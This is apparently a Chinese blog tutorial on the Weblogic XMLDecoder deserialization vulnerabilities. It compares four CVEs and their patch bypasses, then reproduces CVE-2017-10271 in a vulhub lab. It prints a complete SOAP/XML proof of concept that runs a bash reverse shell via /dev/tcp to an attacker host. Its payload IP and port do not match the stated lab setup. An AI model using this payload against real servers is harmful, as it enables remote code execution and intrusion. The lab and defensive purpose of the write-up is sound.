Weblogic XMLDecoder 反序列化漏洞原理与漏洞复现（基于vulhub，保姆级的详细教程）

川长思鸟来 2023-10-10 18:52 56阅读 0赞

## 漏洞原理 ##

本文介绍了Weblogic XMLDecoder反序列化相关的漏洞原理，并以CVE-2017-10271为例在vulhub上进行了复现。有关Weblogic XMLDecoder反序列化漏洞包括CVE-2017-3506、CVE-2017-10271、CVE-2019-2725、CVE-2019-2729等，其漏洞原理相似，本文对此进行了简要介绍，并在本节给出了四个漏洞的对比（影响版本、url路径、防护绕过方法）。这里首先简要介绍Weblogc XMLDecoder相关的背景知识 。

**Weblogic**

> 用途：用于解析java，部署**大型分布式**Web应用的Web中间件。
> 
> 默认端口：7001
> 
> 历史漏洞：XMLDecode反序列化漏洞、反序列化漏洞、弱口令war包上传、SSRF等本文仅介绍XMLDecode反序列化漏洞

**XMLDecoder是干啥的？**

XMLDecoder/XMLEncoder 是在JDK1.4版中添加的 XML 格式序列化持久性方案，使用 XMLEncoder 来生成表示 JavaBeans 组件(bean)的 XML 文档，用 XMLDecoder 读取使用 XMLEncoder 创建的XML文档获取JavaBeans。**总之就是用来解析XML文档的**。

**Weblogic XMLDecoder 反序列化漏洞原理简介**

> Weblogic的WLS Security组件对外提供webservice服务，其中使用了XMLDecoder来解析用户传入的XML（SOAP协议）数据，在解析的过程中出现反序列化漏洞，导致任意代码执行。出问题的包是wls-wsat、\_async

有关Weblogic XMLDecoder反序列化漏洞包括CVE-2017-3506、CVE-2017-10271、CVE-2019-2725、CVE-2019-2729等，其漏洞原理相似，差异主要在于出问题的包、黑名单过滤的标签，这里进行一下对比。

<table> Weblogic XMLDecoder漏洞对比 
 <thead> 
 <tr> 
 <th style="text-align:center;">漏洞编号</th> 
 <th style="text-align:center;">影响版本</th> 
 <th style="text-align:center;">url路径</th> 
 <th style="text-align:center;">补丁/绕过</th> 
 </tr> 
 </thead> 
 <tbody> 
 <tr> 
 <td style="text-align:center;">CVE-2017-3506</td> 
 <td> 10.3.6.0 12.1.3.0 12.2.1.1 12.2.1.2 </td> 
 <td> /wls-wsat/CoordinatorPortType /wls-wsat/RegistrationPortTypeRPC /wls-wsat/ParticipantPortType /wlswsat/RegistrationRequesterPortType /wls-wsat/CoordinatorPortType11 /wls-wsat/RegistrationPortTypeRPC11 /wls-wsat/ParticipantPortType11 /wls-wsat/RegistrationRequesterPortType11 </td> 
 <td style="text-align:center;">补丁过滤了object标签，可用void标签绕过</td> 
 </tr> 
 <tr> 
 <td style="text-align:center;">CVE-2017-10271</td> 
 <td> 10.3.6.0 12.1.3.0 12.2.1.1 12.2.1.2 </td> 
 <td style="text-align:center;">同上</td> 
 <td style="text-align:center;">补丁过滤了new，method标签，且void后面只能跟index，array后面可以跟class，前提是bytes类型</td> 
 </tr> 
 <tr> 
 <td style="text-align:center;">CVE-2019-2725</td> 
 <td> 10.3.6.0 12.1.3.0 12.2.1.3 12.2.1.4 14.1.1.0 </td> 
 <td> <pre style="margin-left:.0001pt;text-align:center;">/_async/AsyncResponseService
/_async/AsyncResponseServiceJms
/_async/AsyncResponseServiceHttp</pre> </td> 
 <td> 黑名单禁用了class标签，可用&lt;array method =“forName"&gt; 绕过 </td> 
 </tr> 
 <tr> 
 <td style="text-align:center;">CVE-2019-2729</td> 
 <td> 10.3.6.0 12.1.3.0 12.2.1.3 </td> 
 <td> <pre style="margin-left:.0001pt;text-align:center;">同上</pre> </td> 
 <td style="text-align:center;"></td> 
 </tr> 
 </tbody> 
</table>

## 漏洞复现（CVE-2017-10271） ##

### 复现过程（vulhub） ###

本文以CVE-2017-10271为例，用vulhub靶场进行漏洞复现，目标是获取反弹shell。

靶机：Ubuntu 192.168.200.129

攻击机：kali 192.168.200.131

攻击机和靶机无所谓是不是kali和Ubuntu，攻击机用于接收反弹shell，靶机应该是Ubuntu上启动的docker。首先启动vulhub靶场，cd vulhub/weblogic/CVE-2017-10271，然后执行如下命令启动：

docker-compose up –d

![56f29faf2c2544fea33c23f67ff1c795.png][]

docker ps查看进程，已经成功启动，端口为7001

docker ps

![2c0420cee9ab492e94c626bc74e13b20.png][]

浏览器访问靶机ip:7001，可看到如下的404页面，说明环境搭建成功。

![39096c5f2156452baeaf508bb628e726.png][]

weblogic XMLDecoder反序列化漏洞的出现位置有很多路径，具体路径我们在漏洞原理部分已经给出，这里就选第一个好了/wls-wsat/CoordinatorPortType，浏览器访问192.168.200.129:7001/wls-wsat/CoordinatorPortType，页面如下：

![258e662216fe4770984ddfa299a702bd.png][]

把访问这个可能触发XMLDecoder反序列化漏洞的页面的GET请求抓下来（BurpSuite抓个包），可以看到其HTTP请求如下图：

![1c5b893206ef46cca6f654418797b662.png][]

把这个包发送到重放器Repeater，一会改包添加poc。现在我们在攻击机kali中开启一个nc监听，监听6666端口，用于接收反弹shell（读者也可以选择其他端口）

![94bd7a1f1aef4f79979aa36846ff55c9.png][]

改包，把刚才抓到的HTTP GET请求，修改请求方式为POST，然后加上反弹shell的恶意代码，注意要把Content-Type修改为text/xml 。在请求体中添加如下XML格式的poc，**至于为啥这个poc这样写，后文将会进行解释。**

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> 
 <soapenv:Header> 
 <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> 
 <java class="java.beans.XMLDecoder">
 <object class="java.lang.ProcessBuilder">
 <array class="java.lang.String" length="3">
 <void index="0"><string>/bin/bash</string></void>
 <void index="1"><string>-c</string></void>
 <void index="2"><string>bash -i >& /dev/tcp/192.168.219.134/4444 0>&1</string></void>
 </array>
 <void method="start"></void>
 </object>
 </java>
 </work:WorkContext> 
 </soapenv:Header> 
 <soapenv:Body/> 
 </soapenv:Envelope>

完整的请求包如下：

![2b9796e2ac9e400d9374f324d673cac2.png][]

注意上图中画横线的地方，把反弹shell的ip改成你的接收反弹shell的ip，端口改为刚才nc监听的端口。 改包之后，发送请求，响应包的状态码是500，如下图所示，如果响应包如下图这样，漏洞利用就成功了。

![ac70172ca78c480aa4b547cedbcf013d.png][]

回到刚才攻击机的nc监听，已经接收到了反弹shell，这里执行了两个命令ls和whoami进行了验证：

![dcbda9084bf2408392f17a18154c0554.png][]

至此漏洞复现成功，别忘了docker-compose down关闭靶场

docker-compose down

### poc的构造 ###

这里还是简单解释一下poc的构造原理，恶意的XML数据如下：

这段POC的开头三行和末尾三号主要是SOAP的协议规范，SOAP是以XML形式提供了一个简单、轻量的用于在分散或分布环境中交换结构化和类型信息的机制。具体内容读者自己查查资料，这里不做阐释。我们重点关注的是中间的内容，下面我们依次介绍XML的各个标签。

**java标签**

这个标签是使用 XMLEncoder 来生成表示 JavaBeans 组件(bean)的 XML 文档，用 XMLDecoder 读取使用 XMLEncoder 创建的XML文档获取JavaBeans。

**object标签**

通过 <object> 标签表示对象， 其class 属性指定具体类(用于调用其内部方法)，此处为ProcessBuilder类，ProcessBuilder可以用于执行cmd命令，调用ProcessBuilder的start()方法启动进程，start将会在后续的标签void进行介绍。

**array标签/void标签**

通过 <array> 标签表示数组， class 属性指定具体类，此处为字符串，在array标签内部使用 void 标签的 index 属性来指定数组索引赋值，此处相当于创建了一个长度为3的字符串数组，三个元素的内容分别相当于：

> str\[0\] = '/bin/bash'  
> str\[1\] = '-c'  
> str\[2\] = 'bash -i >& /dev/tcp/192.168.219.134/4444'

其中str\[0\]指出了cmd命令的位置，str\[1\]表示执行，str\[2\]表示执行的具体命令。注意反弹shell的语句需要进行编码，否则解析XML的时候将出现格式错误 。

void标签中的start方法是前述ProcessBuilder类的一个方法，调用ProcessBuilder的start()方法可以启动命令执行的进程。

## 思考与总结 ##

Weblogic的WLS Security组件对外提供webservice服务，其中使用了XMLDecoder来解析用户传入的XML（SOAP协议）数据，在解析的过程中出现反序列化漏洞，导致任意代码执行。出问题的包是wls-wsat、\_async。

### 防御思路 ###

如何避免weblogic漏洞被攻击者恶意利用？

> 1.更新weblogic的组件版本，避免使用有漏洞的版本。
> 
> 2.卸载可能造成漏洞的包，如wls-wsat、\_async等，或禁止对这些页面的访问。
> 
> 3.部署网络防护设备，若请求的数据中含有xml数据，必须进行严格的过滤，避免执行恶意命令。

由于我是个刚刚开始入门网安的小白，也不太懂java的代码，没办法从代码层面给大家做详细的讲解了。weblogic是部署**大型分布式**Web应用的常见Web中间件，其漏洞的影响非常广泛，至今还常用于渗透的攻击中，了解weblogic相关漏洞是进行防护的前提。

后续的博客中，可能我还会写一些关于Web漏洞、应急响应和wireshirk流量分析相关的文章，还望读者们多多支持！

[56f29faf2c2544fea33c23f67ff1c795.png]: https://img-blog.csdnimg.cn/56f29faf2c2544fea33c23f67ff1c795.png
[2c0420cee9ab492e94c626bc74e13b20.png]: https://img-blog.csdnimg.cn/2c0420cee9ab492e94c626bc74e13b20.png
[39096c5f2156452baeaf508bb628e726.png]: https://img-blog.csdnimg.cn/39096c5f2156452baeaf508bb628e726.png
[258e662216fe4770984ddfa299a702bd.png]: https://img-blog.csdnimg.cn/258e662216fe4770984ddfa299a702bd.png
[1c5b893206ef46cca6f654418797b662.png]: https://img-blog.csdnimg.cn/1c5b893206ef46cca6f654418797b662.png
[94bd7a1f1aef4f79979aa36846ff55c9.png]: https://img-blog.csdnimg.cn/94bd7a1f1aef4f79979aa36846ff55c9.png
[2b9796e2ac9e400d9374f324d673cac2.png]: https://img-blog.csdnimg.cn/2b9796e2ac9e400d9374f324d673cac2.png
[ac70172ca78c480aa4b547cedbcf013d.png]: https://img-blog.csdnimg.cn/ac70172ca78c480aa4b547cedbcf013d.png
[dcbda9084bf2408392f17a18154c0554.png]: https://img-blog.csdnimg.cn/dcbda9084bf2408392f17a18154c0554.png